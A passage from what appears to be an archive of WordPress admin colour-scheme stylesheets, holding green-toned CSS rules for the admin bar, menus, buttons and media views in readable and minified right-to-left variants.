#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: #f1f3f2;
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #56b274;
  background: #36533f;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #56b274;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #fff;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #36533f;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #597763;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #c7d2cb;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: #f1f3f2;
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #56b274;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #56b274;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: #f1f3f2;
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: #f1f3f2;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #527f61;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #527f61;
  background-color: #527f61;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #56b274;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #c7d2cb;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #56b274;
  border-color: #4ba468;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #56b274;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #56b274;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #56b274;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #56b274;
}

.attachment.details .check {
  background-color: #56b274;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #56b274;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #56b274;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #56b274;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #56b274;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #446950;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #446950;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #56b274;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #56b274;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: #f1f3f2;
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #56b274;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #36533f;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: #f1f3f2;
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #56b274;
}
includes/admin/styles/evergreen/colors-rtl.css000066600000030706151771460310015600 0ustar00/*
 * Button mixin- creates 3d-ish button effect with correct
 * highlights/shadows, based on a base color.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}

a:hover, a:active, a:focus {
  color: #0096dd;
}

#media-upload a.del-link:hover,
div.dashboard-widget-submit input:hover,
.subsubsub a:hover,
.subsubsub a.current:hover {
  color: #0096dd;
}

/* Forms */
input[type=checkbox]:checked:before {
  color: #56b274;
}

input[type=radio]:checked:before {
  background: #56b274;
}

.wp-core-ui input[type="reset"]:hover,
.wp-core-ui input[type="reset"]:active {
  color: #0096dd;
}

/* Core UI */
.wp-core-ui .button-primary {
  background: #56b274;
  border-color: #43925d #3b8152 #3b8152;
  color: #fff;
  box-shadow: 0 1px 0 #3b8152;
  text-shadow: 0 -1px 1px #3b8152, -1px 0 1px #3b8152, 0 1px 1px #3b8152, 1px 0 1px #3b8152;
}

.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #61b77d;
  border-color: #3b8152;
  color: #fff;
  box-shadow: 0 1px 0 #3b8152;
}

.wp-core-ui .button-primary:focus {
  box-shadow: inset 0 1px 0 #43925d, 0 0 2px 1px #33b3db;
}

.wp-core-ui .button-primary:active, .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #43925d;
  border-color: #3b8152;
  box-shadow: inset 0 2px 0 #3b8152;
}

.wp-core-ui .button-primary[disabled], .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.button-primary-disabled, .wp-core-ui .button-primary.disabled {
  color: #c7d1ca !important;
  background: #469961 !important;
  border-color: #3b8152 !important;
  text-shadow: none !important;
}

.wp-core-ui .button-primary.button-hero {
  box-shadow: 0 2px 0 #3b8152 !important;
}

.wp-core-ui .button-primary.button-hero:active {
  box-shadow: inset 0 3px 0 #3b8152 !important;
}

.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #446950;
}

.wp-core-ui .wp-ui-text-primary {
  color: #446950;
}

.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #56b274;
}

.wp-core-ui .wp-ui-text-highlight {
  color: #56b274;
}

.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #36b360;
}

.wp-core-ui .wp-ui-text-notification {
  color: #36b360;
}

.wp-core-ui .wp-ui-text-icon {
  color: #f1f3f2;
}

/* List tables */
.wrap .add-new-h2:hover,
.wrap .page-title-action:hover {
  color: #fff;
  background-color: #446950;
}

.view-switch a.current:before {
  color: #446950;
}

.view-switch a:hover:before {
  color: #36b360;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #446950;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: #f1f3f2;
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #56b274;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap h2 .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
.folded #adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #36533f;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after {
  border-left-color: #36533f;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #c7d2cb;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
.folded #adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #c7d2cb;
}

#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
.folded #adminmenu .wp-has-current-submenu .wp-submenu a:focus,
.folded #adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #56b274;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}

#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #56b274;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-left-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #56b274;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before,
.ie8 #adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #36b360;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #36533f;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: #f1f3f2;
}

#collapse-button:hover,
#collapse-button:focus {
  color: #56b274;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #446950;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: #f1f3f2;
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #56b274;
  background: #36533f;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #56b274;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #fff;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #36533f;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #597763;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #c7d2cb;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: #f1f3f2;
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #56b274;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #56b274;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: #f1f3f2;
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: #f1f3f2;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #527f61;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #527f61;
  background-color: #527f61;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #56b274;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #c7d2cb;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #56b274;
  border-color: #4ba468;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #56b274;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #56b274;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #56b274;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #56b274;
}

.attachment.details .check {
  background-color: #56b274;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #56b274;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #56b274;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #56b274;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #56b274;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #446950;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #446950;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #56b274;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #56b274;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: #f1f3f2;
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #56b274;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #36533f;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: #f1f3f2;
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #56b274;
}
includes/admin/styles/mint/colors-rtl.min.css000066600000025516151771460310015352 0ustar00body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#media-upload a.del-link:hover,.subsubsub a.current:hover,.subsubsub a:hover,div.dashboard-widget-submit input:hover{color:#0096dd}input[type=checkbox]:checked:before{color:#4f6d59}input[type=radio]:checked:before{background:#4f6d59}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}.wp-core-ui .button-primary{background:#4f6d59;border-color:#3a4f41 #2f4035 #2f4035;color:#fff;box-shadow:0 1px 0 #2f4035;text-shadow:0 -1px 1px #2f4035,-1px 0 1px #2f4035,0 1px 1px #2f4035,1px 0 1px #2f4035}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#567560;border-color:#2f4035;color:#fff;box-shadow:0 1px 0 #2f4035}.wp-core-ui .button-primary:focus{box-shadow:inset 0 1px 0 #3a4f41,0 0 2px 1px #33b3db}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover,.wp-core-ui .button-primary:active{background:#3a4f41;border-color:#2f4035;box-shadow:inset 0 2px 0 #2f4035}.wp-core-ui .button-primary.button-primary-disabled,.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled,.wp-core-ui .button-primary[disabled]{color:#c7d1ca!important;background:#3e5546!important;border-color:#2f4035!important;text-shadow:none!important}.wp-core-ui .button-primary.button-hero{box-shadow:0 2px 0 #2f4035!important}.wp-core-ui .button-primary.button-hero:active{box-shadow:inset 0 3px 0 #2f4035!important}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#5fb37c}.wp-core-ui .wp-ui-text-primary{color:#5fb37c}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#4f6d59}.wp-core-ui .wp-ui-text-highlight{color:#4f6d59}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#33834e}.wp-core-ui .wp-ui-text-notification{color:#33834e}.wp-core-ui .wp-ui-text-icon{color:#f1f3f2}.wrap .add-new-h2:hover,.wrap .page-title-action:hover{color:#fff;background-color:#5fb37c}.view-switch a.current:before{color:#5fb37c}.view-switch a:hover:before{color:#33834e}#adminmenu,#adminmenuback,#adminmenuwrap{background:#5fb37c}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#f1f3f2}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#4f6d59}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap h2 .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu{background:#4ca26a}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after{border-left-color:#4ca26a}#adminmenu .wp-submenu .wp-submenu-head{color:#cfe8d8}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a,.folded #adminmenu .wp-has-current-submenu .wp-submenu a{color:#cfe8d8}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover,.folded #adminmenu .wp-has-current-submenu .wp-submenu a:focus,.folded #adminmenu .wp-has-current-submenu .wp-submenu a:hover{color:#4f6d59}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#4f6d59}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#4f6d59}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before,.ie8 #adminmenu li.opensub div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .update-plugins{color:#fff;background:#33834e}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#4ca26a}#collapse-button{color:#f1f3f2}#collapse-button:focus,#collapse-button:hover{color:#4f6d59}#wpadminbar{color:#fff;background:#5fb37c}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#f1f3f2}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#4f6d59;background:#4ca26a}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#4f6d59}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#fff}#wpadminbar .menupop .ab-sub-wrapper{background:#4ca26a}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#7eb892}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#cfe8d8}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#f1f3f2}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#4f6d59}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#4f6d59}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#f1f3f2}#wpadminbar #adminbarsearch:before{color:#f1f3f2}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#77bf8f}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#77bf8f;background-color:#77bf8f}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#4f6d59}#wpadminbar #wp-admin-bar-user-info .username{color:#cfe8d8}.wp-pointer .wp-pointer-content h3{background-color:#4f6d59;border-color:#455e4d}.wp-pointer .wp-pointer-content h3:before{color:#4f6d59}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#4f6d59}.media-item .bar,.media-progress-bar div{background-color:#4f6d59}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #4f6d59}.attachment.details .check{background-color:#4f6d59;box-shadow:0 0 0 1px #fff,0 0 0 2px #4f6d59}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #4f6d59}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme 